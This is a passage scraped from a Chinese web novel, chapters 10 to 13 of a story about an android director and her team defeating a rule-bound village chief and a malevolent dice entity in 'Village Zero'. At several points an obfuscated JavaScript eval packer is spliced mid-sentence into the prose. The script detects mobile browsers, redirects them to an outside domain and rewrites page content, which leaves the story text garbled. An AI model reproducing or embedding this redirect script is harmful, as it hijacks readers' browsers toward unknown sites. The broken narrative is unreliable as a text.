三个人中,他是最好判断的,他坐在一个被一条风筝线牵住的椅子上,椅子不仅豪华得出奇,还正视图把严白放飞得更高——从那根无限紧绷的线就能看出了。 严白在反应过来骊执的做法本身,是在他看来有些“激进”的放手一搏后,已经开始对那条绳子跃跃欲试了。 “!” 第不知道多少次尝试,他还是缩回了手。 很显然,他更害怕掉下去。 看来,她的队友需要一点支持才能更勇敢。 骊执指了指那条线。 仿生人板着一张严肃的脸,做了个“咔嚓”剪掉的动作。 严白欲哭无泪地看向她,但迫于队长大人那比机械人还冷酷的目光,一点点把手伸到了那根线上。 不知道是不是他的错觉,在看到他那视死如归的表情的时候,骊执的嘴角微微上翘了一下。 他猛地回头想仔细看,椅子因为他的动作在天上晃悠了一下,吓得他赶紧抱住身后的靠背。 在他晃荡的视野里,骊执的嘴角弧度更大了,那确确实实是一个真实的、带点揶揄意味的微笑。 严白还在那里和风筝线做最后的斗争,骊执移开眼,将目光转向第一个格子的安夏。 “……” 安夏正眼巴巴地趴在无形的墙壁上,手掌用力到能清晰看到掌纹,那略带控诉的眼神相当坦荡地看向骊执,像没有被第一时间摸头的忠犬。 骊执装作没有看到她那一点点名为“关于最好朋友的地位”的吃味,指了指她习惯用力的手,暗示她松开。 她的格子里是坚固的水泥地,不能硬碰硬,她的“勇气”是放弃一直以来的暴力破局。 安夏眨了眨眼,有些不太理解,但还是乖乖照做。 “哗啦。”墙壁被她轻轻推开,不攻自破。 安夏再次睁开眼睛,她已经稳稳落地,眼前的属于她自己的跳房子游戏,一枚白色的石头落在她的掌心。 “啊!” 身旁的严白终于鼓起勇气剪断绳子,紧紧闭着眼和一块金色石头一起跌落在地上,被安夏提小鸡仔样一把拎起来。 最后,只剩下高凳子上的常声。 骊执静静地看着这个站在高凳子上手足无措、甚至有些不好意思的人。 他应该很少遇到这种等待求援场景,稍显木讷的性格让他在骊执面前没有剩下的两只活跃。 不过第一时间想到堵门的是他,一点点把行李运过来的是他,骊执相当欣赏这种细心劲,遇到这样的同事会少改一大堆莫名其妙的bug。 骊执摸了摸凑过来安抚她、让她冷静思考的摄像机。 目光里,困住玩家的四方格子似乎变出了另一种形状,那些规则的背后多出了、或者说一直都有,但现在才被骊执调用的隐晦内涵。 脱困的过程里,习惯掌控一切的她要敢于暂时放手,横冲直撞的安夏要选择以柔克刚,胆小应激的严白要狠下心剪断丝线。 那么,心细如发的常声也要走向自己的对立面,勇敢选择一个不必细致到高凳上每根木条的选项。 骊执示意已经站了很久、腿都有些发抖的常声先坐下,换了个角度继续分析。 从安夏到她,投出3代表了水泥地、投出6代表空中的椅子、投出4代表高凳子、投出1则是沼泽。 数字越大高度越高,连最后拿到的石头也不一样。 骊执思考着她们三个人的,和高度息息相关的结局。 拿到1的她落入地底,拿到3的安夏是平面攻破,拿到6的已经到了飞到最高处。 那4,大概率也是要在空中,或许,就是凳子高度的低空。 “跳。” 她冲常声比出了这个口型。 常声咬紧牙关,这把榫卯结构的高凳精巧细致得令人惊叹,按理说,一点点找到可攀爬的地方挪下去,才是更符合他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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骊执来不及细看,下落的沙土铺面而来,骊执立刻掩住口鼻抱着摄像机卧倒。 “队长你怎么样!……这是怎么……” 骊执睁开眼睛。 只见原本属于她跳房子的场地,色彩鲜艳的彩色粉笔笔迹不见了,平整的路面也不见了,取而代之的是一个倾斜向上、遍地土石,岔路口从起始点充斥到终点的上山路。 “创造者,格子现在被藏在泥土里。”骊镜扫描完成,低声道:“拿到‘厄运’石头的人,要走更多的路,避开更多的岔路口,耗费比别人多得多的力气才能到达最后的目的地。” 骊执没有说话。 她看向刚刚惊呼出声的位置,严白的金色石头已经骨碌碌滚了下去——他的跳房子游戏场地变成了倾斜向下,通往目的地的光洁大理瓷砖;常声的石头落在一条闪着光的柏油马路上;安夏的则是落在平坦曲折的羊肠小道上。 “哈哈哈哈!” 不远处,不知道已经盯着她的场地看了多久的村长嗤笑出声:“上坡、落石、岔路、曲折……你还是第一个抽到那么大难度的可怜人呢。” “要怪自己运气不好吗?你以为你落到这步田地,仅仅只是运气不好吗?” “轰隆隆——” 骊执抬起那双平静的眸子,看向不远处向自己滚滚而来的巨石。 那简直就是蜷在她掌心的那颗石头的放大版,拥有相同的形状,相同的颜色,以及相同的阴冷感觉。 “眼熟吗?那就是你的石头啊!被自己的房屋石头砸成肉泥的感觉……也要被你第一个体会啦!真是可——” 幸灾乐祸的声音戛然而止。 从一开始就被宣布厄运缠身、死无葬身之地的人死死掐住了他的脖颈。 他陈旧的、腐败的呼气声回荡在自己,和眼前机械的造物之间。 “当然,不只是因为运气。” “还有,副本规则化身的……你啊。” 10. 零号村庄暴雪夜八 “只是你这次运气不好。”老师歉意地拍了拍骊执的肩膀,“老师知道你是去帮老师收拾旧书了。但你确实来得最晚,现在衣服没有了。” 她的声音压得很低,骊执能听出来一些酸楚的歉意。 “真的就只差一件秋装。老师知道你是懂事听话的好孩子,老师现在也没有办法,只能……先委屈你一下了。” 墙壁上粉刷的白灰噗噗下落,水汽一滴滴渗出,挂在裸露出来的水泥上。 今年入秋的雨水似乎格外多,骊执摸了摸被她歪歪扭扭缝上的短袖,用的还是她从孤儿院墙角的泥土缝隙里发现的线头。 她记得老师在她缝好后半个月才发现她的“杰作”,摸着她瘦小的胳膊,很轻很轻地叹气。 “你不许抢我的苹果!那是我的!” “都小心点!别打架!” 不远处传来刺耳的吵嚷声,她的目光又被正在哭闹的孩子黏走了。 她把安抚骊执的手放下,塞给了她半片有些泛黄的苹果。 骊执接过苹果,紧紧攥在了手心。 她等了好一会,老师也没有回来收走自己的苹果,用来哄那个打架输了的孩子。 她将苹果小心从掌心取出,试探地咬了一口。 “……”应该是酸的。 小骊执做出评价。 可能放得有点久,所以变得有些涩。 但确实是苹果的味道,和她之前闻到的,老师给别的孩子的苹果是同一个气味。 何况,孤儿院收留她已经很好了。 她不想麻烦别人,她也没得挑。 骊执学着老师的样子,低下头,轻轻拍了拍自己的胳膊。 骊执咬了一口打折买来的酸苹果,算作今天的晚饭:“我们没申请到资金。” 她习惯地拍了拍电脑屏幕,像在安抚什么不存在的灵魂。 狭窄的实验室里,各种数据线开发板被码得整整齐齐,桌子的最上面摆了一只活灵活现的小雪豹,是她用自己的第一个单片机做的,黑豆般的眼睛正一眨不眨地盯着她看。 “我的各项指标都符合。” 她站起身,因为久坐而酸软的腿不太灵活,撞到了桌角。 “他们说我运气不好,赶上这个方向教授的亲戚升学发论文了。” 她颦了颦眉,苹果几乎酸倒了牙齿,但好在只有清香,没有涩味。 “镜子,”,那个时候的她这么称呼萌芽中的骊镜,“今天不能说明早见了,明早我还要再去问问他们。” “骊执是吧,你的项目本身是很好的,但是呢,你运气不太好,今年的评审规则更侧重‘综合贡献’和‘团队稳定性’……你再等几年,等成了家,心态稳了,机会自然就来了嘛?” 男人的笑容像温和又标准,像某种一成不变的判别公式。 这样的说辞骊执见过太多,因此也并没有在她心里泛起什么波澜。 她走出门去,准备赶去下一个面试地点。 秋风扬起尘埃,一股混合着金属和尘土的味道袭来,呛得她一阵窒息。 她掩住口鼻,有些怔愣地看着自己已经伏在地上的身体,再看向自己的怀里。 那是一台名叫“骊镜”的摄像机,正一点点蹭去她手臂上的灰土。 那触感冰冷而熟悉,将她的思绪猛地从记忆里拽回—— “队长!小心!” 骊执抬起头,抹去眼睛上的污物。 “运气不好”吗? 用看不清摸不着的运气背锅、掩盖自己规则不公的人,都这么冠冕堂皇的吗? 规则体系本身的问题,只用一个“运气不好”,就能抹平未被公平对待者的怒火吗? 往昔的镜头继续播放,而故事并没有结束于此。 胶卷走向下一篇章,定格在科技公司“棱镜”项目组成功中标,有过面试之缘的对手公司,追问起最显眼的那个名字的时刻。 定格在她后来写在教授领域里,那篇被引用无数次的论文上。 定格在再也不会干巴巴泛黄、又酸又涩的苹果上。 “我不是个记仇的人。真的不是。” 骊镜非常给面的赛博鼓掌,屏幕上闪过一串“啪啪啪”。 “冰箱里的苹果是新品种,还得等着回家去尝尝什么味道呢。” 眼前的疯女人似乎是想到了什么有意思的事情,村长只感觉到她嘴角的弧度越来越大,惨白的、仿佛要把人骨头照出来的灯光下,她甚至露出了一个真情实意的笑容。 “你!你已经违反了规则,你逃开了属于你的石头……你会被规则惩罚的!” 骊执摇了摇头,并没有打算跟着这个已经疯魔的规则维护者的思路走。 “村长,为什么刚刚还想用指甲抓我的队友,现在却不敢了呢?” “因为现在不是大逃杀,所以你的规则不允许你这么做?” “你的规则,又是谁给你定下的呢?” “轰隆——” 窗外的风雪更大了,远处隐隐传来应和般的雷声。 而此时此刻,地球直播间。 【 “啊啊啊啊啊啊啊啊骊导!” “家人们我明天是满课我应该继续看嘛” “零个人相信前面的大学生不会被骊导帅得半夜睡不着” “他的规则是谁定下的我不知道,我只知道我的规则要被荔枝导演定下了嘿嘿嘿” “她现在是直接挑战副本BOSS了吧,接下来的路不好走喽” “真不知道一群人在吹什么,看到新纪录还以为是哪个大佬又下本了呢……没人觉得她刚刚把人脖子掐住的时候很吓人吗?” “对,没人觉得,你觉得害怕?该不会是那恶鬼穿到地球来上网来了吧?你和那恶鬼坐一桌去吧” “前面的!你怎么忘了!穿越地球的话可不能乱说,会被封号!” “这个封号原因属实是我见过的最离谱的……” “系统提示,上述部分内容违反社区规范,已对相关账号做封禁处理。 】 零号村庄这头,安夏已经代替了骊执的位置控制住村长,严白和常声正小心翼翼地搜他的身。 骊执收回手,并没有再看他一眼。 他是能被镜头遏制的怪物,本身就在《身临其境》的规则控制下退出了异化状态,断裂的指甲根本不足以对她仿生人的身体造成什么实际伤害。 几乎是在骊执掐住他脖子的那一刻,远处滚落的巨石刹车在一个坡地上,原本被巨石裹挟着下落的沙土都像被按下了暂停键,漂浮在空中。 控制住规则制定者,规则本身也被瓦解了。 骊执看着三个人忙碌的背影,有些迟钝地摸了摸心口。 这次反抗规则,不再是一个人单打独斗了。 那里像是被续了团棉花,明明鼓鼓囊囊,吵吵闹闹的,却让她莫名有种……名为“安心”的感受。 “队长,你刚刚跟我们讲他是规则载体,那直接做掉他不就好了,为什么还要找被他藏起来的骰子呢?” 安夏略显咋呼的声音响起,骊执熟练地开始顺毛。 “就算他这个规则载体没了,只要规则还存在,零号村庄就还可能有第二个村长,第三个村长。” 骊执微微垂下眉眼,和村长平视:“这里是房屋分配中心,那我可不可以理解为,石头是将人和房子绑定的媒介,对吗?” “!” 明明现在已经算不上人类,但听到有人这么直白且精确地剖析自己的规则体系,村长还是感觉到脊背后有冷汗留下的错觉。 “你不跟我们介绍规则,那我只能自己猜了。” “抽出你的游戏里存在的元素,推着石头去‘跳房子’的意思,是用石头作为通道,开启属于自己的房子的意思吗?” “房子在哪里,你要用房子做什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375989|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骰子已经被严白抖落到地上,骊执用随手捡的树枝将它拨远。 可悲的规则维护者抖动着肩膀,发出阵阵嘶哑的、气流被阻塞的笑声。 “骊执……你太聪明了。” “你一直都这么聪明,都这么会分析,哪怕我给了你最大的难度,想要扼杀现在还是幼苗的你,你还是能一眼看到问题所在。” 身上的符文静静流淌,他抬起手,符文爬上四人的石头,勾勒出四间剧烈波动的、房屋的雏形。 “看,这一间间屋子,像不像长在大地上的脚?” 村长笑得更扭曲了,露出满嘴被营养液腐蚀的牙齿。 “不要当祂的养料。哪怕死掉,也比变成和我一样好。” 充满模糊暗示意味的语句如同惊雷,让围在队长身边的三个人陷入沉思。 安夏震惊地看向身后的骊执,她正静静地注视着他的眼睛。 “说这些似是而非、向外树敌的话。” “你是想让我收下你连幕后黑手都说不出来的提醒、对你感恩戴德吗?” “你想让我否认你之前所做的一切错事,用一个‘我是迫不得已才伤害别人’‘我也有苦衷’‘我是为了你好’,来要求我放过你吗?” 似乎是被说中了心里某个隐秘的、羞耻到谷底的想法,规则的怪物怔愣住了。 下一瞬间,周围像卷起一阵浑浊的风,吹起粗糙的砂砾,将他刚刚孱弱的劲头狠狠抹去。 被说破心思的暴怒代替了一切隐藏实力反扑的念头,骊执闪电般将安夏从他身边拉回,只见全部符文颤抖着被从怪物身上剥离出来,扭曲的脸庞绽出报复般的、快意的笑。 被拨远的骰子晃悠悠地漂浮在了空中,似乎终于大发慈悲,打算帮助自己的执行者打倒不知好歹的玩家。 “咚。” 是脉冲枪蓄能成功,能量束击中墙壁的声音。 “其实还真的要感谢你,是你证实了我的判断,给我们展示了四个石头对应着的四个房屋。” “那分配房屋的骰子对应着什么呢?我猜……是这间‘房屋分配中心’,对不对?” 骰子是具有危险性的不可控因素,但与骰子对应的存在不是。 “咔嚓。” 墙壁破裂,呼呼的风雪声被灌进来的时候,某种细微的、像什么小东西破裂的声音出现了。 是那枚规划了所有人的厄运、还要用运气不好来粉饰太平的骰子。 它裂开了一条缝,正露出黑漆漆的内里。 眼见有效,安夏心中一喜,将攻击范围扩展到半面墙。 听着骰子内部持续传来的“咔嚓”声,和村长逐渐爬上惊恐的脸,骊执隐约感觉有哪里不对劲。 她将目光投向露出越来越大的骰子内里。 “滴答。” 黑色的内里如同失去禁锢的流质,一点点淌了下来。 像某种吞噬了过多污物的油脂,污秽而粘稠。 “闭眼!” 视觉传感器的每个信号都在冲她嗡鸣报警,像是遇到了难以解析的、厚重到近乎溢出的未知风险数据流。 可惜已经太迟了。 黏糊糊的触感一点点用鳞片蹭上她的眼球,直直往更深处钻去,带来某种近乎痛苦的恶心感。 像某种阴冷毒蛇放出毒液,吃掉她的脑子后,还要把这具空壳占为己有。 脚腕疼。 像被人剜走了下肢,还要插上管道吸取她的血肉,拿她剩下的身躯做某种生物的养料。 似乎是为了印证她的猜测,耳边隐约出现了一些模糊的说话声。 谁在说话? 周围有什么危险? 骊执想睁开眼看看。 “——啊啊啊啊妈!你快来看!你捡得这个冻死的人……她睁眼啦!” 骊执:“……” 我觉得随便说人死掉了,是件有点不礼貌的事情。 11. 零号村庄暴雪夜九 “我没死,还能说话呢。” 骊执终于挣扎着给自己开机,那种隐约被骰子从眼球开始吃掉的阴冷感觉渐渐散去,身体再次活了过来,各项传感器开始重新运作。 最先恢复过来的是皮肤上的仿生触觉,骊执意识到自己应该在某种温暖的光线下,身下是厚厚的、透气的棉花做的褥子。 “诶?你能说话啦。” 耳边传来一声清亮的、带点稚气的声音,莫名有些耳熟。 “脚疼不疼?一会出去就好啦……”小姑娘的声音像只终于破开囚笼的雀,叽叽喳喳着安慰的话。 “安……静?” 骊执有些迟疑地念出这个名字。她的声音很轻很轻,小到她自己的听觉传感器都捕捉不到,像是怕惊碎了什么。 那人却回复的很快,像是发现了什么了不得的秘密。 “嗯?是我!姐姐……你怎么知道我的名字?” 骊执终于睁开眼睛,一滴冷凝液顺着眼角滑进了衣领里。 她来不及在意脚腕处那仿佛被人斩断的刺痛,只想把眼睛对上刚刚发出声音的地方,想看看是不是幻觉。 黑色金属铸成的房屋里投射进暖洋洋的光,屋子里站着手牵手的、一大一小两个身影。 骊执几乎要怀疑这是骰子制造的某种光影幻觉,可是那个脸颊圆润、比在零号村庄的安静健康得多的小女孩,确确实实地站在那里。 目光紧跟着往上移动。 安静的身边,正站着一个笑容温暖、露出被营养液腐蚀的牙齿的大婶。 骊执吐出一口气。 “是你。” 是你,是我在这个未知的、冰冷的赛博空间里,第一次感受到温度的你。 恍然间,骊执感觉自己又回到了将她载往零号村庄的列车上。 大婶将衣服递给她,眸子里一闪而过的疼惜,滚烫得仿佛能融化这片土地的大雪。 “你认识我的女儿?”大婶笑眯眯的看向她,眼神里却没有戒备,仿佛只是在看一个返乡的亲人。 窗外投出隐约的光亮,骊执向外望去。 那里不再有风雪侵袭,灿烂的光明倾泻而下。 温暖牢固的房屋,相互依偎的母女两人,风雪消散的零号村庄。 仿佛是这个遍地寒凉的世界里,最美好的存在。 只是。 脚上的痛越来越剧烈了,骊执的步子迈得很用力,想要把那刺痛的荆棘甩开,步调略显蹒跚地走到窗前。 “脚疼是不是?到零号村庄就是会这样……等你离开这里就好了。”身后传来大婶平静的、仿佛习以为常的声音。 ——离开这里。 是啊。 这里是一年四季都会飘雪的零号村庄。 是吞噬了无数与她和安静一样灿烂的灵魂的零号村庄。 骊执看向窗口,那里发光的不再是天空,是周边越聚拢越明亮的雾。 “你们什么时候能出去?” 雾气越来越大了,白色的边际几乎要把整座房子淹没。 脚部的疼痛随着迷雾的蔓延速度一起,泛滥到脚踝那处凸起的上方。 “我该……怎么救你们出去?”骊执死死咬紧牙关,仿佛这样就能抑制住发声系统里,那应和心跳般的颤抖。 大婶抬起那双和安静相像的眼眸,眼尾微微翘起,那是一个无奈又温和的笑容。 “我们出不去的。” 她抬起手,将自己的裤腿拽起。 只见脚踝那里,一块黑漆漆的石头被用绳子死死捆住。 而绳索上,正隐隐闪烁着黑色符文的光亮。 “我们的脚通过了跳房子游戏的考验,被骰子认可后,被跳房子的石头绑定在房子里。” “骰子要我们永远留在这个房间,做这里永远的村民。” 骊执心有所感,拽开自己的裤腿。 一块颜色极深的石头同样被绑在了脚踝,只不过信号不稳般闪烁着。 “骰子需要你们留下来做什么?” 被牢牢束缚住的脚踝上,绳索一圈圈勒得更深,像是要将双脚整个切掉。 “它不需要我们,它是在给自己挑选一双合适的脚。” 大婶脚步迟缓又机械的走过来,打开了房门。 骊执终于得以一窥这个村庄的全貌。 样式完全相同的房子被不同色块染成了各种不同的区域,它们沉默整齐地扎根在大地上,颜色越深沉的房屋,周围的迷雾弥漫的越快——像被雪吞没的脚。 “那为什么选中你们?”骊执看向迷雾周围,找寻着有可能存在的逃脱路径。 “我也不清楚。但它有自己的评价体系。” “我们只知道,反抗得越厉害的人,越容易成为符合它规则的‘脚’,就会被它用选中到越冷的房间,比如这里。” “大概是方便它,更快地让我们死去吧” 它的规则。 骊执拿起刚刚找到的石子,一点点用力,试图割掉自己脚腕上的符文绳索。 所以,压根不是因为什么运气。 只是骰子觉得安夏母女俩合适,也觉得她合适,就要用这些人的堕入地狱,换取一己私欲。 “这里是骰子内部的数据流,对吗?” 她能感受到迷雾的深处,某种和她机体同源的存在,正试图和她共振。 大婶点点头,缓慢地抬起手,冲着门口慢慢出现的一条羊肠小道指了指。 “迷雾是它数据流能力的具象化,当房屋被迷雾完全淹没,就证明它已经把这间房子里的所有养分——或者说人类,吸收干净了。” “我的力量目前只够驱散这些,但也足够了。” “骊执导演,剩下的路,就要靠你自己了。” 骊执最后回头,看了一眼被骰子存入数据流的灿烂灵魂。 “好。” “等我带你们回家。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375990|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>机械的造物奔跑在各种数据堆砌成的存在里,像是回到了一个到处都是锈蚀铁钉的工作室。 斑驳的画面像是被划花了的光碟,断断续续播放着被骰子存入深处的历史。 她看到新生命诞生在只有冰雪的世界,她的母亲骄傲地把她举起,翻起陈旧的纸质书,要给她一个漂亮的名字。 她看到邻居们谋划着一起去迷雾后面看看,却在迈出第一步时被迷雾分割开在不同的角落冻僵,一个个孤单离去,像木偶般倒下,成为迷雾新的养料。 数据洪流裹挟着无数这样的碎片,希望和温暖后是更大的挣扎与绝望。 它们像锈蚀的铁钉,试图将她的脑袋狠狠刺个洞,试图将她溺毙在暴风雪的世界里。 骊执抹了把脸,毫不犹豫地选择继续奔跑,仿生关节在数据风暴中发出不堪重负的咔嚓声,脚踝上闪烁的石头愈发滚烫,像是被骰子烙下的恶毒诅咒,时刻提醒着她,她也即将成为被它选中作为养料的“幸运儿”。 “多好用的素材。” 导演大笑着用镜头记录着一切罪恶尽头的恐怖,机械的眼神里却找不到一丝温度。 她恶狠狠地将镜头对准了那枚扭曲一切的骰子,对准被骰子选中后投敌置更多人陷入泥潭的村长,对准一切制造伤害的施暴者。 越是靠近骰子数据流的核心,脚踝上烙印的灼烧感就越是剧烈。她最后基本走不快了,却依然一步一步地逆数据洪流而上,像一把有缺口还要上阵杀敌的利剑,势要劈开由绝望和遗忘组成的世界,重写一切不公与规则。 终于,如同沸水般不断翻涌的数据乱流慢慢变得整齐有序,像是被某种强大规则的力量约束、扭曲、塑形,最终凝聚成一扇门的轮廓—— 不断滚动的“0”“1”序列组成某种特殊含义的排序,流水般飞快逝过。 冰冷而精确的门楣之上,悬浮着几个不断自我校验、幽蓝光芒灼灼闪烁的大字: 【零号村庄房屋分配中心】 牌匾静静地矗立在数据流的尽头,如同一个巨大而精密的蜂巢入口。 所有村民的命运之线都曾汇聚于此,成为它纺织冰冷规则的废料。 骊执在门前站定,冷冷地看向脚下。 那里的数据流终于勉强平静下来,仿佛在内里开始酝酿更大的风暴。 隐约间,地板映照出她此刻的模样:苍白的仿生皮肤上,被数据流刮破留下的伤痕正以缓慢的速度自我修复中,闪着蓝色能量液的光。 双琥珀色的瞳孔里,数据流如同沸腾的熔金,燃烧着近乎冷酷的决心。 她抬起手,“啪”地推开门! “创造者,真相马上要揭晓了。” “故事该到高潮了。” 骊执举起了始终紧随她的摄像机,骊镜的镜头稳稳地对准了这恶毒规则的制造中心。 “咔嚓。” 一声极细微的、好似要将数据世界截断的快门声响起。 12. 零号村庄暴雪夜十 时间像是被压缩进一颗尘封已久的琥珀里,潜藏在地底被地震波击碎,组成破碎每一帧。 周围隐约有股憋闷的、带着厚重尘土气息的水汽味。 骊执拎着摄像机,径直往气味最深重的地方走。 “这里是骰子内部的数据流空间。”骊镜低声道,“看起来,它是某种集成了空间压缩技术,并以其为主要功能的智能体。” “我们两个唯二的硅基生物都算是它的同类,只能这么解释,为什么只有我们两个被它捕获了。” 骊执总感觉他在提到“只有我们”的时候,声音加重,有种细微的、莫名其妙的雀跃。 越往深处走,脚踝处的压力越就重。 直到骊镜习惯性地蹭蹭骊执的肩膀时,骊执感受到他并不轻快的姿势,这才意识到他一直遭受着同样的酷刑。 终于,在痛苦的最深处,骊执站定了。 “……” 似乎是终于意识到自己潜藏不住,粘稠的黑暗中,突兀地闪烁。 紧接着,那里出现了一片闪着幽幽蓝光的、发出声音的雾气。 “你是个听话的好孩子。” 那声音骊执曾听到过无数次,在名为心疼的叹息后。 “所以你知道,违背规则就没有苹果奖励。” “留在这里当合格的养料,为**的现世做出牺牲——只需要提供你的一双脚,这是你应该做的,对不对?” 与孤儿院老师音色并无二致的声音响起来,温和得能滴出水来。 不同的是,它的语气黏糊糊的,像直扑骊执面门的黑色数据流。 大脑里,那些在进入数据空间前,被粗暴塞进来的数据流像是在瞬间被激活,无数密密麻麻的粘稠活物沸腾起来,掀起暴风。 骊执没有吭声,死死咬紧牙关,忍着脚踝的剧痛狠狠一脚踩散迷雾。 无数细小的水汽破出迷雾的桎梏,四溅成细小的碎片。 “往右!” “创造者小心!” 骊执猛地向右扑倒,雾气却像是嗅到带血猎物的捕食者,依旧用密密麻麻的牙齿咬了上来。 模仿得惟妙惟肖的声音再次响起。 “你向来是个有规划的学生。” “所以你该把效忠**作为你排在第一位的使命,不是吗?” 没等骊执动手,摄像机啪地往上扑去,坚硬得能击碎人头骨的躯干,被水汽割出蜘蛛网般的裂纹。 “滴答——”是液体从机体上滴落的声音。 骊执面无表情地一次又一次击碎迷雾。 现实世界里的房屋分配中心一击即碎,连被判定为副本BOSS的村长的绝招,都是直接把骰子本体供出来。 “创造者,水汽在往下聚!” 骊执下意识向脚踝伸手,像是试图抹去伤口。 曾被她刻意忽视的疼痛终于找到闸口,暴风雨般袭来,骊执咬着牙闷哼一声,仿生皮肤破损处的能量液还是流淌,一阵急过一阵。 骰子对现实世界的影响的确有限,但在现在这个流淌的世界里,整个都是由黑色符文构成,它的力量被真正展现出来,数据流释放攻击。 “你是位优秀的女性。” “我们觉得比起有点微不足道的个性,还是稳重一些,顺应我们大家维护**的规则为好。” “……” 一片又一片的雾气再次闪着光漂浮起来,将她撤退的路死死堵住。 骊执闪身躲过利刃般的水汽攻击,雾蒙蒙的气息却无处不在,她还是不免被割出或深或浅的伤口。 “骊执。” 骊执站住脚,第一次没有第一时间击碎水雾。 一声熟悉到近乎残酷的声音响起。 “你走到这里,很不容易吧。” “……” 那是她自己的声音,真实得像在她耳边呢喃。 “辛苦了,一切都交给我吧……把你的脚留下来吧……这样,你再也不用走那么多路了。” “做梦。”骊执毫不客气的骂道,找准声源的位置,就开足马力向着那个方向跑。 那声音一点点变得尖锐、变得比碎玻璃更加锋利。 “安心的留下来,什么也不想,什么也不做,再也不用因为其他人的规则受委屈,怎么就不可以成为你的目标了!” 骊执抬起头,脚踝那里,原本死死缠绕她的绳子已经全部换成了雾气,而每一颗水珠都是最锋利的刀,一点点刮食着她的骨肉。 “我当然可以做出任何选择,拥有任何目标。” 暗夜里,眸光成为最炽烈的、仿佛能把一切水汽燃烧殆尽的火苗。 “但这是我的权利,和连脸都不敢露出来的胆小鬼无关。” 毫不客气的评价终于彻底激怒了水汽,周围的雾气以此为漩涡点飞速聚集,每一丝每一缕都缠绕的越来越重、越来越用力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375991|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哈哈。” 那是一声清晰的,夹杂着讽刺意味的笑音。 积蓄力量的雾气怔愣住了,随即像是被更加惹恼一般,着急地扑向她的面门。 深陷囹圄的人类笑得锋利又灿烂,像把终于找到敌人要害的刚刀。 终于。 她可以确定这条最深处、也最孱弱的规则。 “……真不愧是我最喜欢的黑色石头的主人,你拥有这么强大的勇气精神,最适合做一双敢去任何地方的脚的养料——”机械的声音依然恶毒,却语气急促,难掩焦急的、隐约意识到事情已经失控的惊慌。 “嗯?” 骊执身上到处都是皮开肉绽的伤口,能量液从那里渗出,把她的衣物浸透。 但她依然闪电般向雾气最深处伸出血肉模糊的手掌,摸到了那条最孱弱的规则。 从见到被雾气缠绕的村庄起,骊执就有数不清的疑问。 明明在现实世界以黑色符文作为规则力量的骰子,为什么到了这里,开始用雾气? 为什么有中伤一切的能量,却还是拥有最不堪一击的外壳? 骊执轻轻笑起来,嘴角渗出越来越多的能量液。 骊镜引着她的手指向脚踝,示意她先处理好那里的伤口,她却不甚在意的摇摇头。 因为它是压根动摇不了现实,连自己的白雾形态都被扭曲成完全相反的黑色符文,只能用跳房子的规则困境蚕食人精神、逼迫人放弃的胆小鬼啊。 数据流带来的割伤不会真的作用于身体上,只是让骊执某一处的数据流过热报警,产生类似疼痛的幻觉。 因为他是连上路的勇气都没有,迫切地需要更多脚的胆小鬼啊。 “我不知道你的上级是谁,我也不在乎。” 骊执喘着气,声音变得更加虚弱嘶哑,眼睛却越来越亮。 “不过我想知道……难道你就遵守祂的规则了吗?” 身上的迷雾猛得收紧,雾气深处甚至隐约传来急促压抑喘息的吐息声。 “嗯?我这是……猜对了?” “村、长、大、人?”她一字一顿,说出那个她隐约有猜测,现在终于可以确信的称呼。 水汽剧烈收拢起来,聚成污水般的水流,溃散着流走。 “啊——”抑制不住的恐惧叫喊,终于显出来他本来的音色。 骊执找到那片频闪最剧烈的雾,镜头枪炮般怼了上去。 13. 零号村庄暴雪夜 【终】 现实世界里 “你杀不掉我。”骊执平静地看向迷雾中央,看向那个藏得严严实实的幕后黑手。 她现在的情况属实算不上乐观,于骰子内部而言,她是一个意外闯入核心数据库的“病毒”——还是个到处煽风点火,甚至发掘到底层协议的高级病毒,正被它动用一切力量,试图清除个干净。 “不然在我踏进你领域的第一时间,你最好的选择就是直接干掉我,而不是利用这种精神污染,试图让我放弃抵抗。” 骊执抹去摄像机上溅到的她的能量液,声线低沉,甚至让那怯懦的规则本体感受到了一丁点近乎怜惜般的情绪。 “我知道,你在为什么特殊的存在效忠。” 骊执终于起身,却没有像规则本体想象的一样发起攻击—— 她关掉了摄像机,那双熠熠生辉的眼眸低垂下来,似乎是一个最终权衡后交出信任、想要开诚布公的状态。 “不过祂想要的东西,一定是你想给的吗?” 藏匿在黑暗中的存在隐约觉得有哪里不对劲,可是眼前的人根本没给它机会停下来思考。 “祂给你定下的规则,难道不让你痛苦吗?” 